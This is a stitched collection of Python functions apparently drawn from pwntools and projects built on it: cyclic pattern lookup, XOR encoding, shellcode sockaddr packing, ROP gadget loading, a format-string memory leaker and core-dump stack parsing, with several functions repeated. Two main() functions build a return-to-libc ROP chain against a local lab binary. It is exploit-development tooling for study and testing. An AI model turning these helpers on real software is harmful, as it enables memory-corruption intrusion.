def cyclic_metasploit_find(subseq, sets=None):
"""cyclic_metasploit_find(subseq, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int
Calculates the position of a substring into a Metasploit Pattern sequence.
Arguments:
subseq: The subsequence to look for. This can be a string or an
integer. If an integer is provided it will be packed as a
little endian integer.
sets: List of strings to generate the sequence over.
Examples:
>>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
514
>>> cyclic_metasploit_find(0x61413161)
4
"""
sets = sets or [
string.ascii_uppercase, string.ascii_lowercase, string.digits
]
if isinstance(subseq, (int, long)):
subseq = packing.pack(subseq, 'all', 'little', False)
return _gen_find(subseq, metasploit_pattern(sets))
def struntil(self, v):
r"""
Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
Arguments:
v(string)
The name of the field uptil which the payload should be created.
Example:
Payload for data uptil _IO_buf_end
>>> context.clear(arch='amd64')
>>> fileStr = FileStructure(0xdeadbeef)
>>> payload = fileStr.struntil("_IO_buf_end")
>>> payload
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
"""
if v not in self.vars_:
return b''
structure = b''
for val in self.vars_:
if isinstance(self.__getattr__(val), bytes):
structure += self.__getattr__(val).ljust(
context.bytes, b'\x00')
else:
structure += pack(self.__getattr__(val), self.length[val] * 8)
if val == v:
break
return structure[:-1]
def __str__(self):
frame = ""
with context.local(arch=self.arch):
for register_offset in sorted(self.register_offsets):
if len(frame) < register_offset:
frame += "\x00"*(register_offset - len(frame))
frame += pack(self[self.registers[register_offset]])
return frame
def __bytes__(self):
frame = b""
with context.local(arch=self.arch):
for register_offset in sorted(self.register_offsets):
if len(frame) < register_offset:
frame += b"\x00" * (register_offset - len(frame))
frame += pack(self[self.registers[register_offset]])
return frame
def signed_inner(*args):
args = [
unpack(x, 'all', endianness='little', sign=True)
if n not in skipargs else x for n, x in enumerate(args)
]
ret = func(*args)
return ret if skipret else pack(
ret, 'all', endianness='little', sign=True)
def unsigned_inner(*args):
# unpack the argumts as unsigned (unless they are ignored)
args = [
unpack(x, 'all', endianness='little', sign=False)
if n not in skipargs else x for n, x in enumerate(args)
]
ret = func(*args)
return ret if skipret else pack(ret, 'all', endianness='little')
def __bytes__(self):
structure = b''
for val in self.vars_:
if isinstance(self.__getattr__(val), bytes):
structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
else:
structure += pack(self.__getattr__(val), self.length[val]*8)
return structure
def main():
args = parser.parse_args()
alphabet = args.alphabet
subsize = args.length
if args.lookup:
pat = args.lookup
if pat.startswith('0x'):
pat = packing.pack(int(pat[2:], 16), subsize * 8, 'little',
'unsigned')
elif pat.isdigit():
pat = packing.pack(int(pat, 10), subsize * 8, 'little', 'unsigned')
if len(pat) != 4:
log.critical('Subpattern must be 4 bytes')
sys.exit(1)
if not all(c in alphabet for c in pat):
log.critical(
'Pattern contains characters not present in the alphabet')
sys.exit(1)
offset = cyclic.cyclic_find(pat, alphabet, subsize)
if offset == -1:
log.critical('Given pattern does not exist in cyclic pattern')
sys.exit(1)
else:
print offset
else:
want = args.count
result = cyclic.cyclic(want, alphabet, subsize)
got = len(result)
if got < want:
log.failure("Alphabet too small (max length = %i)" % got)
sys.stdout.write(result)
if sys.stdout.isatty():
sys.stdout.write('\n')
def find_offset(self):
marker = cyclic(20)
for off in range(1, 1000):
leak = self.leak_stack(off, marker)
leak = pack(leak)
pad = cyclic_find(leak)
if pad >= 0 and pad < 20:
return off, pad
else:
log.error("Could not find offset to format string on stack")
return None, None
def _exec_conditional_assignment(self, stmt):
left = stmt.left.name
rigth = stmt.right
conditions = stmt.conditions
if left not in self.variables:
self.log.warning(
f"Variable {left} initialized in conditional statement. Defaulting it to 0."
)
self.variables[left] = pack(0, "all")
if all(self._eval_condition(x) for x in conditions):
self.variables[left] = self._eval_expression(rigth)
def render_body(context, value, **pageargs):
__M_caller = context.caller_stack._push_frame()
try:
__M_locals = __M_dict_builtin(pageargs=pageargs, value=value)
int = context.get('int', UNDEFINED)
isinstance = context.get('isinstance', UNDEFINED)
repr = context.get('repr', UNDEFINED)
long = context.get('long', UNDEFINED)
__M_writer = context.writer()
from pwnlib.util import packing
__M_locals_builtin_stored = __M_locals_builtin()
__M_locals.update(
__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key])
for __M_key in ['packing']
if __M_key in __M_locals_builtin_stored]))
__M_writer(u'\n')
from pwnlib.shellcraft import amd64
__M_locals_builtin_stored = __M_locals_builtin()
__M_locals.update(
__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key])
for __M_key in ['amd64']
if __M_key in __M_locals_builtin_stored]))
__M_writer(u'\n')
import re
__M_locals_builtin_stored = __M_locals_builtin()
__M_locals.update(
__M_dict_builtin([(__M_key, __M_locals_builtin_stored[__M_key])
for __M_key in ['re']
if __M_key in __M_locals_builtin_stored]))
__M_writer(u'\n')
__M_writer(u'\n')
__M_writer(u'\n\n')
if isinstance(value, (int, long)):
__M_writer(u' /* push ')
__M_writer(unicode(repr(value)))
__M_writer(u' */\n ')
__M_writer(
unicode(
re.sub(
r'^\s*/.*\n', '',
amd64.pushstr(packing.pack(value, 64, 'little', True),
False), 1)))
__M_writer(u'\n')
else:
__M_writer(u' push ')
__M_writer(unicode(value))
__M_writer(u'\n')
return ''
finally:
context.caller_stack._pop_frame()
def main():
args = parser.parse_args()
alphabet = args.alphabet
subsize = args.length
if args.lookup:
pat = args.lookup
if pat.startswith('0x'):
pat = packing.pack(int(pat[2:], 16), subsize*8, 'little', False)
elif pat.isdigit():
pat = packing.pack(int(pat, 10), subsize*8, 'little', False)
if len(pat) != subsize:
log.critical('Subpattern must be %d bytes' % subsize)
sys.exit(1)
if not all(c in alphabet for c in pat):
log.critical('Pattern contains characters not present in the alphabet')
sys.exit(1)
offset = cyclic.cyclic_find(pat, alphabet, subsize)
if offset == -1:
log.critical('Given pattern does not exist in cyclic pattern')
sys.exit(1)
else:
print offset
else:
want = args.count
result = cyclic.cyclic(want, alphabet, subsize)
got = len(result)
if got < want:
log.failure("Alphabet too small (max length = %i)" % got)
sys.stdout.write(result)
if sys.stdout.isatty():
sys.stdout.write('\n')
def __str__(self):
pword = lambda x : pack(x, self.word, 'little', False)
payload = pword(self.prev_size)
if self.size == -1:
assert self.norm_size >= 0
self.size = self.setBit(self.norm_size, 0, self.P)
self.size = self.setBit(self.size, 1, self.M)
self.size = self.setBit(self.size, 2, self.A)
payload += pword(self.size)
payload += pword(self.fd) + pword(self.bk)
payload += pword(self.fd_nextsize) + pword(self.bk_nextsize)
self.size = -1
return payload
def padding(self, **kwargs):
if len(kwargs) > 1:
raise ValueError("[-] Only one argument is allowed\n")
try:
self.__padding = cyclic_metasploit(kwargs["length"])
except KeyError:
try:
target_ = pack(kwargs["match"])
match_ = cyclic_metasploit_find(target_, n=len(target_))
print(f"[+] Found pattern {target_} at index {match_}\n")
self.__padding = cyclic_metasploit(match_)
except KeyError:
raise ValueError(
"[-] Only 'match' and 'length' are acceptable arguments\n")
print(f"[+] Padding => {self.__padding}\n")
def cksum(data):
"""cksum(data) -> int
Calculates the same checksum as returned by the UNIX-tool ``cksum``.
Arguments:
data(str): The data to checksum.
Example:
>>> print(cksum(b'123456789'))
930766865
"""
l = len(data)
data += packing.pack(l, 'all', endian='little', sign=False)
return crc.crc_32_cksum(data)
def cksum(data):
"""cksum(data) -> int
Calculates the same checksum as returned by the UNIX-tool ``cksum``.
Arguments:
data(str): The data to checksum.
Example:
>>> print cksum('123456789')
930766865
"""
l = len(data)
data += packing.pack(l, 'all', endian='little', sign=False)
return crc.crc_32_posix(data)
def search_iter(self, move=None, regs=None):
"""
Iterate through all gadgets which move the stack pointer by
*at least* ``move`` bytes, and which allow you to set all
registers in ``regs``.
"""
move = move or 0
regs = set(regs or ())
for addr, gadget in self.gadgets.items():
addr_bytes = set(pack(gadget.address))
if addr_bytes & self._badchars: continue
if gadget.insns[-1] != 'ret': continue
if gadget.move < move: continue
if not (regs <= set(gadget.regs)): continue
yield gadget
def main():
# payload = ""
padChar2 = b"\x90"
padSize = 32
# Initial payload
hello = "\nHello, world!\n\n" # We are using putchar function from libc
# as example to chain multiple function calls/gadgets
# For each character in our phrase, there is putchar call
payload = padChar2 * padSize
for char in hello: # Generate payload for printing 'Hello, world!'
# payload += p32(libc_entry + offset_putchar) # function p32 changes
payload += p32(libc_entry + offset_putchar)
# memoryaddress to correct format (reversed and opcoded)
# whattodo after = pop/ret gadget
payload += p32(libc_entry + offset_pr)
# pwntools function pack, is packing our input to 32-bit memory
# address with correct syntax. Ord is changing character to ASCII code
payload += pack(
ord(char),
32,
'little', # function arguments
False).replace(b"\x00", b"\xff")
# Replacing nulls with '\xff', which are generated in by packing to
# fullfil 32-bit size
payload += p32(libc_entry + offset_pr)
payload += p32(0xffffffff) # Some address, we do not care, we are exiting
# so value does not matter.
payload += p32(libc_entry + offset_exit)
# Writing payload to txt file just in case,
# if we want to run program without script
f = open("payload.txt", "w+")
f.write(str(payload))
f.close
# C program is using payload as args
try:
p = process(["../vuln_progs/Overflow", payload])
log.info(p.recvall(timeout=0.5))
except PwnlibException:
print("Nulls in arguments.")
def cyclic_find(subseq, alphabet=string.ascii_lowercase, n=None):
"""cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None) -> int
Calculates the position of a substring into a De Bruijn sequence.
.. todo:
"Calculates" is an overstatement. It simply traverses the list.
There exists better algorithms for this, but they depend on generating
the De Bruijn sequence in another fashion. Somebody should look at it:
https://www.sciencedirect.com/science/article/pii/S0012365X00001175
Arguments:
subseq: The subsequence to look for. This can be a string, a list or an
integer. If an integer is provided it will be packed as a
little endian integer.
alphabet: List or string to generate the sequence over.
n(int): The length of subsequences that should be unique.
Examples:
>>> cyclic_find(cyclic(1000)[514:518])
514
>>> cyclic_find(0x61616162)
4
"""
if isinstance(subseq, (int, long)):
width = 'all' if n is None else n * 8
subseq = packing.pack(subseq, width, 'little', False)
if n is None and len(subseq) != 4:
log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \
+ "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \
+ "Truncating the data at 4 bytes. Specify cyclic_find(..., n=%i) to override this." % len(subseq))
subseq = subseq[:4]
if any(c not in alphabet for c in subseq):
return -1
n = n or len(subseq)
return _gen_find(subseq, de_bruijn(alphabet, n))
def cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None):
"""cyclic_find(subseq, alphabet = string.ascii_lowercase, n = None) -> int
Calculates the position of a substring into a De Bruijn sequence.
.. todo:
"Calculates" is an overstatement. It simply traverses the list.
There exists better algorithms for this, but they depend on generating
the De Bruijn sequence in another fashion. Somebody should look at it:
https://www.sciencedirect.com/science/article/pii/S0012365X00001175
Arguments:
subseq: The subsequence to look for. This can be a string, a list or an
integer. If an integer is provided it will be packed as a
little endian integer.
alphabet: List or string to generate the sequence over.
n(int): The length of subsequences that should be unique.
Examples:
>>> cyclic_find(cyclic(1000)[514:518])
514
>>> cyclic_find(0x61616162)
4
"""
if isinstance(subseq, (int, long)):
width = 'all' if n is None else n * 8
subseq = packing.pack(subseq, width, 'little', False)
if n is None and len(subseq) != 4:
log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \
+ "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \
+ "Truncating the data at 4 bytes. Specify cyclic_find(..., n=%i) to override this." % len(subseq))
subseq = subseq[:4]
if any(c not in alphabet for c in subseq):
return -1
n = n or len(subseq)
return _gen_find(subseq, de_bruijn(alphabet, n))
def offset(self, **kwargs):
try:
length_ = kwargs['length']
self.__offset = bytes(length_ * 'x', self.__encoding)
except KeyError:
try:
target_ = kwargs['match']
if type(target_) == 'int':
target_ = pack(target_)
elif type(target_) == 'str':
target_ = bytes(target_, self.__encoding)
length_ = cyclic_find(target_, n=len(target_)) - len(
self.__padding) - len(self.__eip)
self.__offset = bytes(length_ * 'x', self.__encoding)
print(f"[+] Offset => {self.__offset}\n")
except KeyError:
raise ValueError(
"[-] Only 'length' and 'match' are valid arguments\n")
def xor_pair(data, avoid=b'\x00\n'):
"""xor_pair(data, avoid = '\\x00\\n') -> None or (str, str)
Finds two strings that will xor into a given string, while only
using a given alphabet.
Arguments:
data (str): The desired string.
avoid: The list of disallowed characters. Defaults to nulls and newlines.
Returns:
Two strings which will xor to the given string. If no such two strings exist, then None is returned.
Example:
>>> xor_pair(b"test")
(b'\\x01\\x01\\x01\\x01', b'udru')
"""
if isinstance(data, six.integer_types):
data = packing.pack(data)
if not isinstance(avoid, (bytes, bytearray)):
avoid = avoid.encode('utf-8')
avoid = bytearray(avoid)
alphabet = list(packing._p8lu(n) for n in range(256) if n not in avoid)
res1 = b''
res2 = b''
for c1 in bytearray(data):
if context.randomize:
random.shuffle(alphabet)
for c2 in alphabet:
c3 = packing._p8lu(c1 ^ packing.u8(c2))
if c3 in alphabet:
res1 += c2
res2 += c3
break
else:
return None
return res1, res2
def main():
# payload = ""
padChar2 = "\x90"
padSize = 32
# Initial payload
hello = "\nHello, world!\n\n" # We are using putchar function from libc
# as example to chain multiple function calls/gadgets
# For each character in our phrase, there is putchar call
payload = padChar2 * padSize
for char in hello: # Generate payload for printing 'Hello, world!'
# payload += p32(libc_entry + offset_putchar) # function p32 changes
payload += p32(libc_entry + offset_putchar)
# memoryaddress to correct format (reversed and opcoded)
# whattodo after = pop/ret gadget
payload += p32(libc_entry + offset_pr)
# pwntools function pack, is packing our input to 32-bit memory
# address with correct syntax. Ord is changing character to ASCII code
payload += pack(ord(char), 32, 'little', # function arguments
False).replace("\x00", "\xff")
# Replacing nulls with '\xff', which are generated in by packing to
# fullfil 32-bit size
payload += p32(libc_entry + offset_pr)
payload += p32(0xffffffff) # Some address, we do not care, we are exiting
# so value does not matter.
payload += p32(libc_entry + offset_exit)
# Writing payload to txt file just in case,
# if we want to run program without script
f = open("payload.txt", "w+")
f.write(payload)
f.close
# C program is using payload as args
try:
p = process(["../vuln_progs/Overflow", payload])
log.info(p.recvall(timeout=0.5))
except PwnlibException:
print("Nulls in arguments.")
def cyclic_metasploit_find(subseq, length=20280, n=None, sets=None):
"""cyclic_metasploit_find(subseq, length, n = None, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int
Calculates the position of a substring into a Metasploit Pattern sequence.
Arguments:
subseq: The subsequence to look for. This can be a string or an
integer. If an integer is provided it will be packed as a
little endian integer.
length(int): The lenght of the pattern to find unuque sequence over
n(int): The length of subsequences that should be unique.
sets: List of strings to generate the sequence over.
Examples:
>>> cyclic_metasploit_find(cyclic_metasploit(Aa0A))
514
>>> cyclic_metasploit_find("Aa0A",50000)
[*] Offset found at: 0
[*] Offset found at: 20280
[*] Offset found at: 40560
"""
sets = sets or [
string.ascii_uppercase, string.ascii_lowercase, string.digits
]
if isinstance(subseq, (int, long)):
subseq = packing.pack(subseq, 'all', 'little', False)
if n is None and len(subseq) != 4:
log.warn_once("cyclic_find() expects 4-byte subsequences by default, you gave %r\n" % subseq \
+ "Unless you specified cyclic(..., n=%i), you probably just want the first 4 bytes.\n" % len(subseq) \
+ "Truncating the data at 4 bytes. Specify cyclic_find(..., n=%i) to override this." % len(subseq))
subseq = subseq[:4]
offsets_found = _gen_find_metasploit(subseq, length,
metasploit_pattern(sets))
for offset in offsets_found:
log.info("Offset found at: %s" % (offset))
return offsets_found
def _leaker(self, addr):
# Hack: elfheaders often start at offset 0 in a page,
# but we often can't leak addresses containing null bytes,
# and the page below elfheaders is often not mapped.
# Thus the solution to this problem is to check if the next 3 bytes are
# "ELF" and if so we lie and leak "\x7f"
# unless it is leaked otherwise.
if addr & 0xfff == 0 and self.leaker._leak(addr + 1, 3,
False) == b"ELF":
return b"\x7f"
fmtstr = randoms(self.padlen).encode() + pack(
addr) + b"START%%%d$sEND" % self.offset
leak = self.execute_fmt(fmtstr)
leak = re.findall(br"START(.*)END", leak, re.MULTILINE | re.DOTALL)[0]
leak += b"\x00"
return leak
def xor_pair(data, avoid='\x00\n'):
"""xor_pair(data, avoid = '\\x00\\n') -> None or (str, str)
Finds two strings that will xor into a given string, while only
using a given alphabet.
Arguments:
data (str): The desired string.
avoid: The list of disallowed characters. Defaults to nulls and newlines.
Returns:
Two strings which will xor to the given string. If no such two strings exist, then None is returned.
Example:
>>> xor_pair("test")
('\\x01\\x01\\x01\\x01', 'udru')
"""
if isinstance(data, (int, long)):
data = packing.pack(data)
alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid)
res1 = ''
res2 = ''
for c1 in data:
if context.randomize:
random.shuffle(alphabet)
for c2 in alphabet:
c3 = chr(ord(c1) ^ ord(c2))
if c3 in alphabet:
res1 += c2
res2 += c3
break
else:
return None
return res1, res2
def xor_pair(data, avoid = '\x00\n'):
"""xor_pair(data, avoid = '\\x00\\n') -> None or (str, str)
Finds two strings that will xor into a given string, while only
using a given alphabet.
Arguments:
data (str): The desired string.
avoid: The list of disallowed characters. Defaults to nulls and newlines.
Returns:
Two strings which will xor to the given string. If no such two strings exist, then None is returned.
Example:
>>> xor_pair("test")
('\\x01\\x01\\x01\\x01', 'udru')
"""
if isinstance(data, (int, long)):
data = packing.pack(data)
alphabet = list(chr(n) for n in range(256) if chr(n) not in avoid)
res1 = ''
res2 = ''
for c1 in data:
if context.randomize:
random.shuffle(alphabet)
for c2 in alphabet:
c3 = chr(ord(c1) ^ ord(c2))
if c3 in alphabet:
res1 += c2
res2 += c3
break
else:
return None
return res1, res2
def sockaddr(host, port, network='ipv4'):
"""sockaddr(host, port, network = 'ipv4') -> (data, length, family)
Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.
Arguments:
host (str): Either an IP address or a hostname to be looked up.
port (int): TCP/UDP port.
network (str): Either 'ipv4' or 'ipv6'.
Returns:
A tuple containing the sockaddr buffer, length, and the address family.
"""
address_family = {'ipv4': socket.AF_INET, 'ipv6': socket.AF_INET6}[network]
for family, _, _, _, ip in socket.getaddrinfo(host, None, address_family):
ip = ip[0]
if family == address_family:
break
else:
log.error("Could not find %s address for %r" % (network, host))
info = socket.getaddrinfo(host, None, address_family)
host = socket.inet_pton(address_family, ip)
sockaddr = p16(address_family)
sockaddr += pack(
port, word_size=16,
endianness='big') #Port should be big endian = network byte order
length = 0
if network == 'ipv4':
sockaddr += host
length = 16 # Save ten bytes by skipping two 'push 0'
else:
sockaddr += p32(0xffffffff) # Save three bytes 'push -1' vs 'push 0'
sockaddr += host
length = len(sockaddr) + 4 # Save five bytes 'push 0'
return (sockaddr, length, getattr(address_family, "name", address_family))
def cyclic_metasploit_find(subseq, sets = None):
"""cyclic_metasploit_find(subseq, sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> int
Calculates the position of a substring into a Metasploit Pattern sequence.
Arguments:
subseq: The subsequence to look for. This can be a string or an
integer. If an integer is provided it will be packed as a
little endian integer.
sets: List of strings to generate the sequence over.
Examples:
>>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
514
>>> cyclic_metasploit_find(0x61413161)
4
"""
sets = sets or [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]
if isinstance(subseq, (int, long)):
subseq = packing.pack(subseq, 'all', 'little', False)
return _gen_find(subseq, metasploit_pattern(sets))
def field_compare(self, address, obj, expected):
"""field_compare(address, field, expected) ==> bool
Leak a field from a structure, with an expected value.
As soon as any mismatch is found, stop leaking the structure.
Arguments:
address(int): Base address to calculate offsets from
field(obj): Instance of a ctypes field
expected(int,str): Expected value
Return Value:
The type of the return value will be dictated by
the type of ``field``.
"""
if not isinstance(expected, (int, str)):
raise TypeError("Expected value must be an int or str")
if isinstance(expected, int):
expected = pack(expected, bytes=obj.size)
assert obj.size == len(expected)
return self.compare(address + obj.offset, expected)
def __load(self):
"""Load all ROP gadgets for the selected ELF files"""
#
# We accept only instructions that look like these.
#
# - leave
# - pop reg
# - add $sp, value
# - ret
#
# Currently, ROPgadget does not detect multi-byte "C2" ret.
# https://github.com/JonathanSalwan/ROPgadget/issues/53
#
pop = re.compile(r'^pop (.{3})')
add = re.compile(r'^add [er]sp, (\S+)$')
ret = re.compile(r'^ret$')
leave = re.compile(r'^leave$')
int80 = re.compile(r'int +0x80')
syscall = re.compile(r'^syscall$')
sysenter = re.compile(r'^sysenter$')
#
# Validation routine
#
# >>> valid('pop eax')
# True
# >>> valid('add rax, 0x24')
# False
# >>> valid('add esp, 0x24')
# True
#
valid = lambda insn: any(
map(lambda pattern: pattern.match(insn),
[pop, add, ret, leave, int80, syscall, sysenter]))
#
# Currently, ropgadget.args.Args() doesn't take any arguments, and pulls
# only from sys.argv. Preserve it through this call. We also
# monkey-patch sys.stdout to suppress output from ropgadget.
#
argv = sys.argv
stdout = sys.stdout
class Wrapper:
def __init__(self, fd):
self._fd = fd
def write(self, s):
pass
def __getattr__(self, k):
return self._fd.__getattribute__(k)
gadgets = {}
for elf in self.elfs:
cache = self.__cache_load(elf)
if cache:
gadgets.update(cache)
continue
log.info_once('Loading gadgets for %r' % elf.path)
try:
sys.stdout = Wrapper(sys.stdout)
import ropgadget
sys.argv = [
'ropgadget', '--binary', elf.path, '--only',
'sysenter|syscall|int|add|pop|leave|ret', '--nojop'
]
args = ropgadget.args.Args().getArgs()
core = ropgadget.core.Core(args)
core.do_binary(elf.path)
core.do_load(0)
finally:
sys.argv = argv
sys.stdout = stdout
elf_gadgets = {}
for gadget in core._Core__gadgets:
address = gadget['vaddr'] - elf.load_addr + elf.address
insns = [g.strip() for g in gadget['gadget'].split(';')]
if all(map(valid, insns)):
elf_gadgets[address] = insns
self.__cache_save(elf, elf_gadgets)
gadgets.update(elf_gadgets)
#
# For each gadget we decided to keep, find out how much it moves the stack,
# and log which registers it modifies.
#
self.gadgets = {}
self.pivots = {}
frame_regs = {4: ['ebp', 'esp'], 8: ['rbp', 'rsp']}[context.bytes]
for addr, insns in gadgets.items():
# Filter out gadgets by address against badchars
if set(pack(addr)) & self._badchars:
continue
sp_move = 0
regs = []
for insn in insns:
if pop.match(insn):
regs.append(pop.match(insn).group(1))
sp_move += context.bytes
elif add.match(insn):
sp_move += int(add.match(insn).group(1), 16)
elif ret.match(insn):
sp_move += context.bytes
elif leave.match(insn):
#
# HACK: Since this modifies ESP directly, this should
# never be returned as a 'normal' ROP gadget that
# simply 'increments' the stack.
#
# As such, the 'move' is set to a very large value,
# to prevent .search() from returning it unless $sp
# is specified as a register.
#
sp_move += 9999999999
regs += frame_regs
# Permit duplicates, because blacklisting bytes in the gadget
# addresses may result in us needing the dupes.
self.gadgets[addr] = Gadget(addr, insns, regs, sp_move)
# Don't use 'pop esp' for pivots
if not set(['rsp', 'esp']) & set(regs):
self.pivots[sp_move] = addr
leave = self.search(regs=frame_regs, order='regs')
if leave and leave.regs != frame_regs:
leave = None
self.leave = leave
def pack(self, address, data, *a, **kw): return self.write(address, packing.pack(data, *a, **kw))
def u64(self, address, *a, **kw): return packing.u64(self.read(address, 8), *a, **kw)
def okay(self, s, *a, **kw):
if isinstance(s, int):
s = packing.pack(s, *a, **kw)
return '\0' not in s and '\n' not in s
def _parse_stack(self):
# Get a copy of the stack mapping
stack = self.stack
if not stack:
return
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
# Immediately preceding is a NULL-terminated environment variable string.
# We want to find the beginning of it
if self.at_execfn:
address = self.at_execfn-1
else:
log.debug('No AT_EXECFN')
address = stack.stop
address -= 2*self.bytes
address -= 1
address = stack.rfind('\x00', None, address)
address += 1
# Sanity check!
try:
assert stack[address] == '\x00'
except AssertionError:
# Something weird is happening. Just don't touch it.
log.debug("Something is weird")
return
except ValueError:
# If the stack is not actually present in the coredump, we can't
# read from the stack. This will fail as:
# ValueError: 'seek out of range'
log.debug("ValueError")
return
# address is currently set to the NULL terminator of the last
# environment variable.
address = stack.rfind('\x00', None, address)
# We've found the beginning of the last environment variable.
# We should be able to search up the stack for the envp[] array to
# find a pointer to this address, followed by a NULL.
last_env_addr = address + 1
p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
# Sanity check that we did correctly find the envp NULL terminator.
envp_nullterm = p_last_env_addr+context.bytes
assert self.unpack(envp_nullterm) == 0
# We've successfully located the end of the envp[] array.
#
# It comes immediately after the argv[] array, which itself
# is NULL-terminated.
#
# Now let's find the end of argv
p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)
start_of_envp = p_end_of_argv + self.bytes
# Now we can fill in the environment
env_pointer_data = stack[start_of_envp:p_last_env_addr+self.bytes]
for pointer in unpack_many(env_pointer_data):
end = stack.find('=', last_env_addr)
if pointer in stack and end in stack:
name = stack[pointer:end]
self.env[name] = pointer
# May as well grab the arguments off the stack as well.
# argc comes immediately before argv[0] on the stack, but
# we don't know what argc is.
#
# It is unlikely that argc is a valid stack address.
address = p_end_of_argv - self.bytes
while self.unpack(address) in stack:
address -= self.bytes
# address now points at argc
self.argc = self.unpack(address)
# we can extract all of the arguments as well
self.argv = unpack_many(stack[address + self.bytes: p_end_of_argv])
def _parse_stack(self):
# Get a copy of the stack mapping
stack = self.stack
if not stack:
return
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
# Immediately preceding is a NULL-terminated environment variable string.
# We want to find the beginning of it
if self.at_execfn:
address = self.at_execfn - 1
else:
log.debug('No AT_EXECFN')
address = stack.stop
address -= 2 * self.bytes
address -= 1
address = stack.rfind('\x00', None, address)
address += 1
# Sanity check!
try:
assert stack[address] == '\x00'
except AssertionError:
# Something weird is happening. Just don't touch it.
log.debug("Something is weird")
return
except ValueError:
# If the stack is not actually present in the coredump, we can't
# read from the stack. This will fail as:
# ValueError: 'seek out of range'
log.debug("ValueError")
return
# address is currently set to the NULL terminator of the last
# environment variable.
address = stack.rfind('\x00', None, address)
# We've found the beginning of the last environment variable.
# We should be able to search up the stack for the envp[] array to
# find a pointer to this address, followed by a NULL.
last_env_addr = address + 1
p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
if p_last_env_addr < 0:
# Something weird is happening. Just don't touch it.
log.warn_once("Found bad environment at %#x", last_env_addr)
return
# Sanity check that we did correctly find the envp NULL terminator.
envp_nullterm = p_last_env_addr + context.bytes
assert self.unpack(envp_nullterm) == 0
# We've successfully located the end of the envp[] array.
#
# It comes immediately after the argv[] array, which itself
# is NULL-terminated.
#
# Now let's find the end of argv
p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)
start_of_envp = p_end_of_argv + self.bytes
# Now we can fill in the environment
env_pointer_data = stack[start_of_envp:p_last_env_addr + self.bytes]
for pointer in unpack_many(env_pointer_data):
# If the stack is corrupted, the pointer will be outside of
# the stack.
if pointer not in stack:
continue
try:
name_value = self.string(pointer)
except Exception:
continue
name, value = name_value.split('=', 1)
# "end" points at the byte after the null terminator
end = pointer + len(name_value) + 1
# Do not mark things as environment variables if they point
# outside of the stack itself, or we had to cross into a different
# mapping (after the stack) to read it.
# This may occur when the entire stack is filled with non-NUL bytes,
# and we NULL-terminate on a read failure in .string().
if end not in stack:
continue
self.env[name] = pointer + len(name) + len('=')
# May as well grab the arguments off the stack as well.
# argc comes immediately before argv[0] on the stack, but
# we don't know what argc is.
#
# It is unlikely that argc is a valid stack address.
address = p_end_of_argv - self.bytes
while self.unpack(address) in stack:
address -= self.bytes
# address now points at argc
self.argc = self.unpack(address)
# we can extract all of the arguments as well
self.argv = unpack_many(stack[address + self.bytes:p_end_of_argv])
def pack(self, address, data, *a, **kw):
"""Writes a packed integer ``data`` to the specified ``address``"""
return self.write(address, packing.pack(data, *a, **kw))
def okay(self, s, *a, **kw):
if isinstance(s, int):
s = packing.pack(s, *a, **kw)
return '\0' not in s and '\n' not in s
def pack(self, *a, **kw):
return self.send(packing.pack(*a, **kw))
def _parse_stack(self):
# Get a copy of the stack mapping
stack = self.stack
if not stack:
return
# AT_EXECFN is the start of the filename, e.g. '/bin/sh'
# Immediately preceding is a NULL-terminated environment variable string.
# We want to find the beginning of it
if self.at_execfn:
address = self.at_execfn-1
else:
log.debug('No AT_EXECFN')
address = stack.stop
address -= 2*self.bytes
address -= 1
address = stack.rfind('\x00', None, address)
address += 1
# Sanity check!
try:
assert stack[address] == '\x00'
except AssertionError:
# Something weird is happening. Just don't touch it.
log.debug("Something is weird")
return
except ValueError:
# If the stack is not actually present in the coredump, we can't
# read from the stack. This will fail as:
# ValueError: 'seek out of range'
log.debug("ValueError")
return
# address is currently set to the NULL terminator of the last
# environment variable.
address = stack.rfind('\x00', None, address)
# We've found the beginning of the last environment variable.
# We should be able to search up the stack for the envp[] array to
# find a pointer to this address, followed by a NULL.
last_env_addr = address + 1
p_last_env_addr = stack.find(pack(last_env_addr), None, last_env_addr)
# Sanity check that we did correctly find the envp NULL terminator.
envp_nullterm = p_last_env_addr+context.bytes
assert self.unpack(envp_nullterm) == 0
# We've successfully located the end of the envp[] array.
#
# It comes immediately after the argv[] array, which itself
# is NULL-terminated.
#
# Now let's find the end of argv
p_end_of_argv = stack.rfind(pack(0), None, p_last_env_addr)
start_of_envp = p_end_of_argv + self.bytes
# Now we can fill in the environment
env_pointer_data = stack[start_of_envp:p_last_env_addr+self.bytes]
for pointer in unpack_many(env_pointer_data):
end = stack.find('=', last_env_addr)
if pointer in stack and end in stack:
name = stack[pointer:end]
self.env[name] = pointer
# May as well grab the arguments off the stack as well.
